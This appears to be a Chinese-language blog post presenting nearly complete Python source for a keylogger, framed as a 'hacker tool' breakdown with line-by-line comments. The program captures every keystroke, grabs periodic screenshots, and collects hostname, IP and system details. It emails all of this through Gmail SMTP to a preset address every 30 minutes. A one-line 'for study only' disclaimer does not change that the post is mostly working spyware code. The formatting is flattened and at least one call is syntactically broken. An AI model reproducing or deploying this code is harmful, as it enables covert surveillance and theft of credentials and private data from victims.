Pyhton黑客工具—键盘记录程序拆解细分

#正常可以利用的库；如下import keyboard  # 为键盘记录import socketimport os       #EsnArsenalimport platformimport smtplib  # 用于使用 SMTP 协议发送电子邮件 （gmail）from email.mime.text import MIMEText #用于在邮件中附加图像from email.mime.image import MIMEImagefrom email.mime.multipart import MIMEMultipart# 信号量用于阻塞当前线程 # 计时器是使方法在“间隔”时间后运行，为了后期内容必须了解何为线程from threading import Semaphore, Timerimport pyscreenshot as ImageGrab #对于屏幕截图# 代码仅供学习与研究,禁止利用源代码进行违法操作。

SEND_REPORT_EVERY = 1800  # 30分钟  以秒为单位可以自由设定。EMAIL_ADDRESS = " " # 输入邮箱地址EMAIL_PASSWORD = " " # 输入邮箱密码

class Keylogger:def __init__(self, interval):# 将发送邮件的时间间隔设为intervalself.interval = interval# 存储键盘按键记录的字符串变量self.log = ""# 用于在设置 on_release 监听器后进行阻塞self.semaphore = Semaphore(0)

def callback(self, event):# 每当发生键盘事件（按键）时调用此回调函数name = event.nameif len(name) > 1:# 非字符、特殊按键（例如 ctrl、alt 等）# 大写使用 []if name == "space":# 将空格键替换为空格字符name = " "elif name == "enter":# 换行符表示按下 ENTER 键name = "[ENTER]n"elif name == "decimal":name = "."else:# 将空格替换为下划线name = name.replace(" ", "_")name = f"[{name.upper()}]"self.log += name# 将按键记录写入文件# 如果不想记录到文件只想发送邮件，则注释掉下面两行with open("output.txt", "w+") as output:output.write(self.log)

   @staticmethoddef sendmail(email, password, message):# 连接到 SMTP 服务器server = smtplib.SMTP(host="smtp.gmail.com", port=587)# 以 TLS 模式连接到 SMTP 服务器server.starttls()# 登录到邮箱账户server.login(email, password)# 发送邮件server.sendmail(email, email, message)# 终止会话server.quit()

@staticmethoddef SendImage(ImgFileName):# 该方法将屏幕截图作为附件发送img_data = open(ImgFileName, 'rb').read()msg = MIMEMultipart()msg['Subject'] = 'Screenshot'msg['From'] = EMAIL_ADDRESSmsg['To'] = EMAIL_ADDRESStext = MIMEText("test")msg.attach(text)image = MIMEImage(img_data, name=os.path.basename(ImgFileName))msg.attach(image)s = smtplib.SMTP(host="smtp.gmail.com", port=587)s.ehlo()s.starttls()s.ehlo()s.login(EMAIL_ADDRESS, EMAIL_PASSWORD)s.sendmail(EMAIL_ADDRESS, EMAIL_ADDRESS, msg.as_string())s.quit()

def screenshot(self):# 使用 pyscreenshot 模块进行屏幕截图im = ImageGrab.grab()# 获取当前程序所在文件夹路径cwd = os.getcwd()path = cwd + "/" + "screenshot.png"im.save(path)self.SendImage(path)# 发送邮件后删除截图文件os.remove(path)

def report(self):"""每隔 `self.interval` 调用此函数主要功能是发送按键记录并重置 `self.log` 变量"""# 每隔一段时间发送一次屏幕截图self.screenshot()if self.log:# 如果 log 中有内容，则发送报告self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)# 打印到终端# print(self.log)self.log = ""Timer(interval=self.interval, function=self.report).start()

def computer_info(self):# 在开始时发送系统的基本信息hostname = socket.gethostname()IPAddr = socket.gethostbyname(hostname)mssg = "Information of the systemn"mssg += "Architecture - " + platform.architecture()[0] + " " + platform.architecture()[1]mssg += "nMachine - " + platform.machine()mssg += "nSystem - " + platform.system() + "n" + platform.version() + "n"mssg += "Hostname - " + hostname + "n"mssg += "IP Address - " + IPAddr + "n"# 将信息写入文件# 如果不想记录到文件只想发送邮件，则注释掉下面两行with open("output2.txt", "w+") as output2:output2.write(mssg)self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, mssg

def start(self):# 启动键盘记录器keyboard.on_release(callback=self.callback)# 发送系统信息     self.computer_info()# 开始发送按键记录self.report()# 阻塞当前线程，# 因为 on_release() 不会阻塞当前线程# 如果不阻塞，当执行程序时，不会发生任何事情# 这是因为 on_release() 会在单独的线程中启动监听器self.semaphore.acquire()